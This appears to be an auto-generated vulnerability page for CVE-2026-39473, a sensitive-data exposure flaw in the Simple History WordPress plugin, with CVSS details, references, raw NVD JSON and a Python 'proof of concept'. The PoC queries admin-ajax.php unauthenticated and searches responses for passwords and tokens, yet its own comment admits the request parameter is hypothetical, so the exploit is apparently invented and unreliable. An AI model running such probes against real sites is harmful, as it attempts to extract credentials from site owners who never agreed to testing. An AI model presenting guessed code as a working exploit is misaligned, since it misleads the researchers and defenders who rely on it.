CVE-2026-39473

Description

Insertion of Sensitive Information Into Sent Data vulnerability in Pär Thernström Simple History simple-history allows Retrieve Embedded Sensitive Data.This issue affects Simple History: from n/a through <= 5.24.0.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Simple History <= 5.24.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Proof of Concept for CVE-2026-39473
# This script demonstrates how to retrieve sensitive data from a vulnerable Simple History instance.

import requests

target_url = "http://target-wordpress-site/wp-admin/admin-ajax.php"
# Hypothetical parameter based on similar vulnerabilities
params = {
    "action": "simple_history_api",
    "type": "events"
}

try:
    response = requests.get(target_url, params=params, timeout=10)
    if response.status_code == 200:
        print("Response received. Checking for sensitive data...")
        # Check for common sensitive patterns (example)
        if "password" in response.text.lower() or "token" in response.text.lower():
            print("[+] Potential sensitive data found in response!")
            print(response.text[:500]) # Print snippet
        else:
            print("[-] No obvious sensitive data in this response, check manually.")
    else:
        print(f"Request failed with status code: {response.status_code}")
except Exception as e:
    print(f"An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39473
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39473
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39473/
[4] VulDB https://vuldb.com/cve/CVE-2026-39473
[5] https://patchstack.com/database/Wordpress/Plugin/simple-history/vulnerability/wordpress-simple-history-plugin-5-24-0-sensitive-data-exposure-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39473", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:22.110", "lastModified": "2026-04-24T18:08:35.440", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insertion of Sensitive Information Into Sent Data vulnerability in Pär Thernström Simple History simple-history allows Retrieve Embedded Sensitive Data.This issue affects Simple History: from n/a through <= 5.24.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-201"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/simple-history/vulnerability/wordpress-simple-history-plugin-5-24-0-sensitive-data-exposure-vulnerability?_s_id=cve", "source": "[email protected]"}]}}